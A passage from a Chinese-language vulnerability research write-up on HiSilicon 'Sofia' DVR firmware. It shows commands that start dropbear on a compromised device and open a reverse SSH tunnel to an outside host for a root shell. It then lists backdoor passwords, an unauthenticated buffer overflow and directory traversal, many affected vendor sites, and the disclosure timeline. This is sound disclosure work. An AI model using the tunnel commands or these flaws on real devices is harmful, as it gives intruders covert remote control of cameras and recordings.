ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost
Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48
$ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
$ ln -s dropbear dropbearconvert
$ cat <<EOF > id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
...
...
-----END RSA PRIVATE KEY-----
$ ./dropbearconvert openssh dropbear id_rsa id_rsa.dropbear
$ ./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 [email protected]
----

现在可以通过反向隧道使用 SSH 访问该设备:

----
$ ssh -p2322 root@localhost
root@localhost's password: 


BusyBox v1.16.1 (2013-07-18 14:40:04 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Welcome to Monitor Tech.
[root@LocalHost /]$ 
----


== 总结

以下是有记录的漏洞:

[cols="2,1,1,1,4",options="header",]
|=======================================================================
|漏洞 |风险 |服务 |发现者 |影响
|硬编码(后门)Telnet 密码 |高危 |23/tcp |先前由他人发现
|任何能够访问 Telnet 接口的人都可以完全控制设备,即使用户设置了合适的密码

|使用任意应用程序账户获得 root shell 访问权限 |高危 |9527/tcp |由作者
发现 |任何拥有任意应用程序账户并能访问服务控制台的人,都可以将权限提升至对设备的完全(shell)控制

|*后门应用程序密码* |严重 |80/tcp, 554/tcp |由作者发现 |任何人都可以以应用程序管理员身份访问设备,即使用户已经设置了强密码来保护设备

|*内置 Web 服务器中的缓冲区溢出* |严重 |80/tcp |由作者发现 |利用该缓冲区溢出漏洞,攻击者可以在设备上获得 root 远程代码执行权限(无需认证)、安装后门、恶意软件及其他恶意内容

|目录遍历 |高危 |80/tcp |先前由他人发现(?)以及由作者发现 |可未经授权读取设备上的所有内容(例如录制的视频流),也有助于利用缓冲区溢出漏洞
|=======================================================================

如果有人认为只有这个 "Seculink" 品牌的设备受到这些严重漏洞的影响,那就错了。受影响设备的范围非常广。所有使用这类 HiSilicon SoC 硬件构建的设备都存在漏洞。这些设备共享(几乎)相同的固件及这个名为 "Sofia" 的二进制应用程序。上述漏洞(甚至是功能完整的脚本)在大量不同硬件上几乎无需修改即可可靠利用。

以下是受影响品牌的(不完整)列表:

image::./brands_affected.png[brands affected]

http://www.vacron.com/products_CCTV_dvr.html +
http://www.gess-inc.com/gess/dvrs/ +
http://www.jufenginfo.com/en/product-list.php?cid=10&pid=166&parid=175 +
http://egpis.co.kr/egpis/product.php?category=AHD&category2=AHD_D +
http://optimus-cctv.ru/catalog/ahd-videoregistratory +
http://www.clearcftv.com.br/linha.php?l=5&ln=ahd +
http://click-cam.com/html2/products.php?t=2 +
http://www.ccd.dn.ua/ahd-videoregistratory.html +
http://www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/ +
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr +
http://www.luxvision.com.br/category/dvr-ahd/ +
http://www.yesccd.com/?products/DigitalVideoRecorder.html +
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone +
http://showtec.com.br/dv-stand-alone/ +
http://www.ecotroniccftv.com.br/index.php +
http://starligh.com/cctv/grabadoras.html +
http://www.activepixel.us/ap-0404-ahd.html +
http://j2000.ru/cat/DVR/ +
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html +
http://kenik.pl/index.php/tag/rejestrator/ +
http://www.redebsd.com.br/categoria-25-gravacao-digital +
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento.html +
http://www.visagems.com.br/prd.asp?idP=1119575 +
http://www.braskell.com.br/dvr.html +
http://www.segvideo.com/segvideo/nvr-hvr.html +
http://www.neocam.com.br/cameras-cftv/stand-alone +
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/ +
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html +
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html +
http://www.vixline.com.br/vitrine-de-produtos/dvrs/ +
http://aliveelectronics.com.br/category/gravadores-de-video/ +
http://www.issl.com.hk/CCTV_DVRCYVIEW1.htm +
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html +
http://www.vonnic.ca/products376e.html?cat=13 +
http://polyvision.ru/polyvision/catalog_gibridnye.html +
http://altcam.ru/video/hd-videonabludenie/ +
http://cyfron.ru/catalog/dvr/ +
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/ +
http://www.hiview.co.th/index.php?mo=3&art=42195125 +
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html +
http://qvisglobal.com/ahd-tvi-960h-hybrid +
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html +
http://www.novicam.ru/index.php?route=product/product&product_id=429 +
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf +
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884 +
http://giraffe.by/catalog/tsifrovye-videoregistratory +
http://www.winpossee.com/en/list/?17_1.html +
http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html +
http://hiq-electronics.ru/videoregistratory +
http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc +
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 +
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html +
http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 +
http://www.divitec.ru/videoregistratoryi-divitec-idvr/

总的来说,这类廉价的物联网设备堪称安全噩梦。作者最近测试的每台设备都存在一些严重或高危漏洞。从渗透测试人员的角度来看,建议是将这类设备妥善隔离,不要与重要的机密数据共享同一网络。遗憾的是,这类固件几乎没有机会获得补丁更新。

最后,需要说明的是,此缓冲区溢出漏洞(连同漏洞利用 PoC 代码)已通过 https://www.beyondsecurity.com/ssd.html[SecuriTeam Secure Disclosure](SSD)项目披露,该项目由 https://www.beyondsecurity.com/[Beyond Security] 维护。供应商(HiSilicon)已于 2016 年底收到(由 Beyond Security 发出的)通知,但在漏洞公之于众之前没有收到任何回复(不幸的是,这是常见情况)。

2017 年 2 月发布的披露文件可于 https://ssd-disclosure.com/ssd-advisory-hisilicon-multiple-vulnerabilities/[此处] 获取。

*更新(2023-01-01):* 这项研究已被 https://vulncheck.com/[VulnCheck] 引用(于 2022-11-30),收录在 https://twitter.com/Junior_Baines[Jacob Baines] 撰写的关于攻破 Xiongmai 设备的这篇文章中:https://vulncheck.com/blog/xiongmai-iot-exploitation
下载工具